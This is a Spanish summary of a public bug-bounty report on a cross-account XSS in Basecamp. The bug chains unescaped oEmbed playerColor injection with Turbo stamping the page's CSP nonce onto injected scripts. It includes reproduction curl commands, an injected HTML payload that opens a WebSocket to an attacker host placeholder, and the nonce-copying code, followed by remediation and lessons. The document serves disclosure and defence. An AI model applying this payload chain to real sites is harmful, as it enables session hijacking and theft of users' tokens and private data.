Reports
ALTA[XSS]#3981292

XSS entre cuentas en Basecamp: inyección de opciones de oEmbed encadenada con Turbo para saltarse el nonce de la CSP

Un embed creado en una cuenta se renderizaba sin autenticación bajo cualquier otra cuenta, y el bundle de Turbo cargado desde un CDN permitido firmaba el script del atacante con el nonce de la víctima, dando control de su sesión.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

Tras una migración de dominio, la página que muestra los embeds de Basecamp pasó a renderizar el HTML que entrega el proveedor sobre el origen de la aplicación (app.basecamp.com) en lugar de hacerlo sobre el host aislado para embeds. El endpoint afectado es:

/:account/embeds/:sgid/full

Dos defectos se combinan:

  1. Ese endpoint devolvía el HTML del proveedor tal cual y, además, respondía con 200 sin autenticación y bajo identificadores de cuenta que no tienen nada que ver con el embed. Un embed creado en la cuenta del atacante se renderizaba igual bajo la cuenta de la víctima y hasta bajo cuentas inexistentes.
  2. Como ese HTML se servía ya en el origen de la aplicación, bastaba con cargar el propio bundle de Turbo de Basecamp —alojado en un CDN que la CSP tiene en su lista blanca de script-src— para que Turbo estampase el nonce de la víctima sobre el <script> del atacante, anulando la protección basada en nonce de la CSP.

El vector de entrada es una inyección de opciones en la URL de oEmbed: con el proveedor de vídeo, el parámetro playerColor de una URL pegada se escribía sin escapar dentro de un atributo class y se reproducía literalmente en la respuesta, lo que permitía cerrar el atributo e inyectar etiquetas HTML arbitrarias.

Pasos de reproducción

El investigador usa dos cuentas: una atacante (6270494) y una víctima (6270418, persona 53052254). La atacante no tiene acceso a la víctima:

$ curl -s -o /dev/null -w '%{http_code}\n' -b "$ATTACKER_COOKIE" https://app.basecamp.com/6270418/
302

**Paso 1 — crear los embeds con la opción envenenada.** Con embedType=popover, el proveedor escribe playerColor sin escapar dentro de un atributo class. Pegando en playerColor una carga HTML (percent-encoded) se cierra ese atributo y se inyecta markup propio. El embed se crea con una petición normal de la aplicación:

$ curl -s -D- -b "$ATTACKER_COOKIE" -X POST https://app.basecamp.com/6270494/embeds.json \
    -H 'Content-Type: application/json' -H "X-CSRF-Token: $CSRF" \
    --data-binary '{"url":"https://<proveedor>/medias/<id>?embedType=popover&playerColor=<HTML percent-encoded>"}'

HTTP/2 200

El HTML inyectado (el «lanzador») fija una base relativa a la cuenta de la víctima, carga el bundle de Turbo desde el CDN permitido y abre una fuente de Turbo Stream por WebSocket hacia el servidor del atacante, más una orden de refresco de Turbo:

"><base href="/6270418/"><script src="https://bc3-production-assets-cdn.basecamp-static.com/assets/builds/libraries-<hash>.js"></script><div id="footer-trays" data-turbo-permanent><turbo-stream-source src="wss://<host-atacante>/"></turbo-stream-source></div><turbo-stream action="refresh"></turbo-stream><b class="

Un segundo embed inyecta, de la misma forma, un <turbo-frame> con el <script> que se ejecutará en el contexto de la víctima. Ese script lee el perfil de la persona, cambia su título y hace POST a un servidor externo; su cuerpo completo y las respuestas JSON con el token y los datos personales de la cuenta de prueba se omiten aquí a propósito, por tratarse de una cadena de robo de sesión lista para copiar y de datos personales.

Paso 2 — el endpoint renderiza sin cookies y bajo cuentas ajenas. El mismo sgid devuelve exactamente la misma respuesta (200, mismo tamaño) sin autenticación y bajo tres identificadores de cuenta distintos, incluido uno inexistente:

$ SG=<sgid firmado del embed>
$ for A in 6270418 6270070 99999999; do printf "acct=$A "; \
    curl -s -o /tmp/d -w "%{http_code}:%{size_download} " \
    "https://app.basecamp.com/$A/embeds/$SG/full"; grep -c turbo-stream-source /tmp/d; done
acct=6270418 200:2926 1
acct=6270070 200:2926 1
acct=99999999 200:2926 1

La respuesta llega con una CSP basada en nonce que, en teoría, debería bloquear scripts inyectados:

content-security-policy: ... object-src 'none'; script-src 'self' https://bc3-production-assets-cdn.basecamp-static.com ... 'nonce-...'; base-uri 'self'; ...

Paso 3 — la víctima abre el enlace y Turbo firma el script con su nonce. Al cargar el bundle legítimo de Turbo desde el CDN permitido, el renderizador de frames de Turbo recorre cada <script> de un frame recién cargado y le copia el nonce vigente de la página (el de la víctima) antes de insertarlo:

// libraries-<hash>.js, servido por un host dentro del propio script-src
function Re(v){return document.querySelector(`meta[name="${v}"]`)}
function qe(){let v=Re("csp-nonce");if(v){let{nonce:n,content:a}=v;return n==""?a:n}}
// renderizador de frames, aplicado a cada <script> de un turbo-frame recién cargado:
{let n=document.createElement("script"),a=qe();
 return a&&(n.nonce=a),n.textContent=v.textContent,n.async=!1,h(n,v),n}

Con el nonce estampado, el script del atacante se ejecuta como la víctima: lee su token CSRF, lee su perfil privado y escribe en él (cambia person[title] a un valor de prueba), y envía todo al servidor del atacante. El propio registro del servidor del investigador confirma el origen https://app.basecamp.com, el token CSRF de la víctima y el perfil antes y después del cambio, probando la escritura con WRITE http=200.

Impacto

Desde una cuenta a la que el atacante no tiene ningún acceso, basta con que la víctima abra un enlace normal (no importa nada ni ejecuta nada por su parte: no es self-XSS) para que el atacante obtenga su token CSRF y su perfil privado y pueda escribir en su perfil haciéndose pasar por ella. En la práctica, control total con el mismo origen sobre la sesión de la víctima.

Remediación

El programa aplicó dos cambios:

  • Hacer que la comprobación falle de forma cerrada, de modo que el HTML de los embeds se renderice únicamente en el host aislado para embeds, nunca en el origen de la aplicación.
  • Reconstruir los frames del proveedor a partir del identificador del medio y nada más, de forma que las opciones que vengan en una URL pegada (como playerColor) ya no lleguen al reproductor de terceros.

El reporte se resolvió y fue recompensado (importe no público).

Qué aprender de este caso

  • Cuando una página muestra HTML de terceros (oEmbed, embeds de proveedores de vídeo, previews de enlaces), revisa que se sirva desde un origen aislado y no desde el origen de la aplicación: si comparte origen, hereda cookies, tokens CSRF y nonces de la CSP. Una migración de dominio es justo el momento en que ese aislamiento se rompe sin que nadie lo note.
  • Desconfía de los endpoints que aceptan un identificador firmado (aquí el sgid) y además un identificador de cuenta en la ruta: si el recurso se devuelve igual bajo cualquier cuenta —e incluso sin sesión—, el identificador de cuenta no se está validando contra el recurso. Pruébalo pidiendo el mismo objeto bajo cuentas ajenas e inexistentes.
  • Una CSP basada en nonce no protege si en script-src hay un host que sirve un framework (Turbo, Stimulus, etc.) capaz de copiar el nonce de la página a scripts que inserta dinámicamente: un atacante que ya logra inyectar markup consigue que el propio framework firme su script. Al endurecer la CSP, ten en cuenta qué hacen los bundles permitidos con el nonce.
  • Las opciones de las URL de oEmbed (parámetros como playerColor) son entrada del usuario que acaba reflejada en atributos HTML: escápalas en contexto de atributo o, mejor, descártalas y reconstruye la incrustación solo a partir del identificador del medio, como hizo aquí la corrección.